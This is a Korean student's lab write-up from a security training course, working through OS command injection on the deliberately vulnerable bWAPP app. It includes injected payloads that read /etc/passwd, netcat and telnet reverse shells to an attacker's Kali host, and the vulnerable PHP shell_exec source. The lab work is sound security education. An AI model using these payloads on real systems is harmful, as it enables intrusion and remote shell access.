[SK쉴더스 Rookies 19기] 클라우드 기반 스마트 융합보안 과정
01. OS Command Injection
풀이 전 설정 추가!
OS Command Injection / low 으로 설정
= nslookup 결과
dns서버에 질의해서 도메인의 정보를 조회
결과가 같음 = 입력 값이 검증 없이 내부 운영체제 명령어 실행에 사용되는구나
확인을 위해 추가적인 명령어를 넣어 실행해보자
www.naver.com ; cat /etc/passwd
접근 제한이 필요한 시스템 파일에 접근이 가능
02. NC(netcat)을 이용한 리버스 커넥션
8282포트를 리스닝하는 서버 실행
www.naver.com ; nc kali.linux 8282 -e /bin/bash
nc 공격자주소 포트번호 → 주소와 포트번호로 연결
-e /bin/bash → 연결에 성공하면 /bin/bash 실행
취약점을 가진 웹 페이지에 삽입
whoami → www-data
pwd → /var/www/bWAPP
nc가 설치돼있어야 가능
그렇다면 telnet을 이용해서 해보자
03. telnet을 이용한 리버스 커넥션
터미널 1 → nc -l -p 8282
터미널 2 → nc -l -p 9292
www.naver.com | sleep 1000 | telnet kali.linux 8282 | /bin/bash | telnet kali.linux 9292
sleep 1000 → 1000초 멈춤 (nslookup결과를 연장 시키기 위함)
telnet kali.linux 8282→ 칼리의 8282 포트에 연결하고, 입력이 생기면 /bin/bash 옮김
/bin/bash→ 의 실행결과가 있으면
telnet kali.linux 9292→ 으로 이동
칼리 서버로 연결하는 명령문 전달
명령어 전달 후 실행 결과 확인
04. 취약한 소스코드
<div id="main">
<h1>OS Command Injection</h1>
<form action="<?php echo($_SERVER["SCRIPT_NAME"]);?>" method="POST">
<p>
<label for="target">DNS lookup:</label>
<input type="text" id="target" name="target" value="www.nsa.gov">
<button type="submit" name="form" value="submit">Lookup</button>
</p>
</form>
<?php
if(isset($_POST["target"]))
{
$target = $_POST["target"];
if($target == "")
{
echo "<font color=\"red\">Enter a domain name...</font>";
}
else
{
echo "<p align=\"left\"><pre>" . shell_exec("nslookup " . commandi($target)) . "</pre></p>";
}
}
?>
</div>
shell_exec("nslookup " . commandi($target))
728x90
'Rookies > 애플리케이션 보안' 카테고리의 다른 글
[SK shieldus Rookies 19기] bWAPP Bee.Box - Cross-Site Scripting - Reflected (GET) (0) | 2024.03.29 |
---|---|
[SK shieldus Rookies 19기] 크로스 사이트 스크립트 XSS (Cross-Site Scripting) (0) | 2024.03.28 |
[SK shieldus Rookies 19기] WebGoat - Command Injection (0) | 2024.03.26 |
[SK shieldus Rookies 19기] Injection 취약점 - Command injection (0) | 2024.03.25 |
[SK shieldus Rookies 19기] bWAPP bee.box - Sql injection (0) | 2024.03.24 |